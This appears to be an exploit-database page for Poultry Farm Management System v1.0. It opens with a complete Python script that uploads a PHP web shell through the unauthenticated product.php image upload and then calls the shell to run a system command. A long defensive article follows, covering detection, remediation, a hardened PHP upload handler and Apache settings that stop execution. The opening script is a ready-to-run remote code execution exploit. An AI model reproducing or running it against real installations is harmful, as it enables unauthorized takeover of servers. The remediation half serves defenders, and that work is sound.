Poultry Farm Management System v1.0 - Remote Code Execution (RCE)

Exploit Author: Jerry Thomas Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-06-26
# Exploit Title: Poultry Farm Management System v1.0 - Remote Code Execution (RCE)
# Date: 24-06-2024
# CVE: N/A (Awaiting ID to be assigned)
# Exploit Author: Jerry Thomas (w3bn00b3r)
# Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
# Github - https://github.com/w3bn00b3r/Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0/
# Category: Web Application
# Version: 1.0
# Tested on: Windows 10 | Xampp v3.3.0
# Vulnerable endpoint: http://localhost/farm/product.php

import requests
from colorama import Fore, Style, init

# Initialize colorama
init(autoreset=True)

def upload_backdoor(target):
    upload_url = f"{target}/farm/product.php"
    shell_url = f"{target}/farm/assets/img/productimages/web-backdoor.php"

    # Prepare the payload
    payload = {
        'category': 'CHICKEN',
        'product': 'rce',
        'price': '100',
        'save': ''
    }

    # PHP code to be uploaded
    command = "hostname"
    data = f"<?php system('{command}');?>"

    # Prepare the file data
    files = {
        'productimage': ('web-backdoor.php', data, 'application/x-php')
    }

    try:
        print("Sending POST request to:", upload_url)
        response = requests.post(upload_url, files=files, data=payload,
verify=False)

        if response.status_code == 200:
            print("\nResponse status code:", response.status_code)
            print(f"Shell has been uploaded successfully: {shell_url}")

            # Make a GET request to the shell URL to execute the command
            shell_response = requests.get(shell_url, verify=False)
            print("Command output:", Fore.GREEN +
shell_response.text.strip())
        else:
            print(f"Failed to upload shell. Status code:
{response.status_code}")
            print("Response content:", response.text)
    except requests.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    target = "http://localhost"  # Change this to your target
    upload_backdoor(target)


Poultry Farm Management System v1.0 — Remote Code Execution (RCE): Analysis, Risks, and Remediation

This article examines the Remote Code Execution (RCE) risk reported for Poultry Farm Management System v1.0, focusing on the underlying cause (unrestricted file upload), practical impact, secure mitigation strategies, detection methods, and recommended developer and operator actions. The goal is to provide defenders, maintainers, and auditors with clear, actionable guidance to remediate and harden installations — not to provide exploit instructions.

Summary

Poultry Farm Management System v1.0 contains an insecure file upload implementation that allows unauthenticated users to upload files into a web-accessible directory. When an attacker is able to upload a server-executable file (for example, a PHP file) into that location, they can execute arbitrary code — resulting in Remote Code Execution (RCE). This vulnerability is high severity on internet-facing installations.

Keywords

  • Poultry Farm Management System v1.0
  • Remote Code Execution (RCE)
  • unrestricted file upload
  • web application security
  • secure file upload

How the Vulnerability Typically Arises

  • Upload handlers accept files without strict validation (no whitelist of types, insufficient MIME/type verification).
  • Uploaded files are stored directly inside a web-accessible directory (e.g., assets/img/productimages/) where the web server can execute server-side code.
  • File name and extension are preserved or controlled by the client, allowing .php or other executable extensions.
  • Server-side configuration permits execution of uploaded files (no restrictions via web server configs or file permissions).
  • Missing authentication/authorization checks on upload endpoints.

Impact and Risk

If exploited successfully, an attacker can:

  • Execute arbitrary commands on the server (RCE).
  • Gain persistent access by deploying web shells or backdoors.
  • Exfiltrate sensitive data, pivot to other systems, or take full control of the host.

Public-facing installations or those on shared hosting are particularly at risk.

Detection & Indicators of Compromise (IoC)

Detecting an attempted or successful abuse of an upload handler requires a mix of proactive monitoring and forensic checks:

  • Inspect web server logs for POST requests to upload endpoints (e.g., product.php) from suspicious IPs or without legitimate session tokens.
  • Look for newly created files in upload directories with unexpected extensions (.php, .phtml, .php5, .php7).
  • Monitor for requests to execute uploaded resources (HTTP GETs to files under upload directories producing command output or unusual responses).
  • Use integrity checking to detect new/modified files in web directories (tripwire, inotify-based watchers).
  • Scan application source code for functions handling file uploads and verify validation logic (mime checks, extension checks, move_uploaded_file usage, storage path).

Safe Testing Guidance (Defensive)

All testing should be performed on isolated, non-production systems or with explicit authorization. To evaluate your own installations:

  • Perform a code review of the upload handler to confirm validation and storage controls.
  • Use benign test files (images with proper headers) to confirm expected behavior and that files are not executable.
  • Run automated scanners (OWASP ZAP, Burp, static analysis) in authenticated contexts to identify missing controls.

Recommended Remediation Steps

Apply the following layered mitigations to remove the attack surface and harden the application:

  • Server-side Validation: Enforce an allow-list of permitted file types and validate both extension and actual MIME/content-type using file inspection (e.g., PHP finfo or equivalent).
  • Store Outside Web Root: Save uploaded files outside the document root or in object storage (S3, Azure Blob) so files cannot be directly executed via the web server.
  • Randomize Filenames: Generate server-side safe, non-guessable file names; do not use client-supplied names.
  • Restrict Execution: Configure the web server to disallow execution in upload directories (disable PHP/CGI execution for that path).
  • Set Strict File Permissions: Uploaded files should be owned by a low-privilege account and be readable only as needed (no execute bit).
  • Authentication/Authorization: Require authenticated and authorized access for any sensitive upload endpoints; implement CSRF protections.
  • Content Scanning: Integrate malware scanning (ClamAV, commercial engines) for uploaded content and block suspicious payloads.
  • Harden PHP: Disable dangerous functions (exec, system, passthru, shell_exec) if not required; enable open_basedir, disable allow_url_include, and keep PHP updated.
  • WAF and Logging: Deploy a Web Application Firewall and enrich logging/alerting for suspicious upload activity.

Secure File Upload Example (PHP)

<?php
// Secure upload handler (defensive example)
// Assumptions: request is authenticated and CSRF checked elsewhere.

$uploadDir = __DIR__ . '/../uploads/'; // outside web root
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0750, true);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['productimage'])) {
    $file = $_FILES['productimage'];

    // Basic checks
    if ($file['error'] !== UPLOAD_ERR_OK) {
        http_response_code(400);
        echo "Upload error";
        exit;
    }

    // Validate size (example: 5MB)
    if ($file['size'] > 5 * 1024 * 1024) {
        http_response_code(400);
        echo "File too large";
        exit;
    }

    // Use finfo to detect MIME type
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime  = $finfo->file($file['tmp_name']);

    $allowed = [
        'image/jpeg' => '.jpg',
        'image/png'  => '.png',
        'image/gif'  => '.gif',
    ];

    if (!array_key_exists($mime, $allowed)) {
        http_response_code(400);
        echo "Invalid file type";
        exit;
    }

    // Generate a random filename and enforce extension from allowed map
    $basename = bin2hex(random_bytes(16));
    $extension = $allowed[$mime];
    $target = $uploadDir . $basename . $extension;

    // Move uploaded file outside web root
    if (!move_uploaded_file($file['tmp_name'], $target)) {
        http_response_code(500);
        echo "Move failed";
        exit;
    }

    // Set restrictive permissions
    chmod($target, 0640);

    echo "Upload successful";
}
?>

Explanation: This defensive PHP handler demonstrates key hardening steps: storing uploads outside the web root, validating file size and MIME type using finfo, allowing only a whitelist of image MIME types, creating randomized filenames, moving the uploaded file with move_uploaded_file(), and setting restrictive permissions. It intentionally prevents allowing arbitrary extensions or client-controlled filenames.

Web Server Configuration to Prevent Execution (Apache .htaccess Example)

# Place this inside the upload directory (or apply at server config level)
# Prevent script execution and force downloads


    Require all denied


# Disable PHP engine for this directory (if using mod_php)
php_flag engine off

# Deny script execution and force content-type for safety
AddType application/octet-stream .php .php5 .phtml

Explanation: Disabling the PHP engine or denying execution for known script file extensions in upload directories prevents uploaded server-side scripts from being executed even if they exist. Apply equivalent configuration in Nginx (use 'location' rules and 'deny' or map to non-executable handler).

Operational Checklist for Administrators

Task Action
Code Review Inspect upload handlers for validation, path handling, and authentication.
Configuration Ensure uploads are stored outside web root and execution is disabled for upload paths.
Permissions Set restrictive file system permissions and run web server with least privilege.
Monitoring Alert on new files in web directories and on suspicious GET/POST patterns.
Patching Apply vendor patches and update server runtime (PHP, web server) promptly.

Forensic and Remediation Steps After a Suspected Compromise

  • Isolate the host from the network to prevent further access.
  • Preserve logs and filesystem images for investigation.
  • Search for unusual files in upload directories and web root; do not execute them.
  • Rotate credentials and keys used on the server; consider full rebuild if persistence is suspected.
  • Notify affected stakeholders and follow applicable incident response and disclosure policies.

Responsible Disclosure and Coordination

If you are a security researcher who discovered this vulnerability in a third-party instance, follow responsible disclosure best practices: notify the vendor/maintainer privately with reproduction steps limited to secure channels, provide remediation recommendations, and give the vendor reasonable time to patch before public disclosure. Avoid publishing exploit code or step-by-step RCE instructions that would enable attackers.

Closing Recommendations

  • Treat file uploads as high-risk — apply defense-in-depth.
  • Adopt secure development lifecycle practices: threat modeling, code reviews, and security testing.
  • Harden runtime environment (WAF, file integrity monitoring, malware scanning).
  • Maintain an incident response plan and keep backups offline and tested.

Following these guidance points will reduce the risk posed by unrestricted file uploads and close the attack path commonly associated with the RCE reports in web applications such as Poultry Farm Management System v1.0.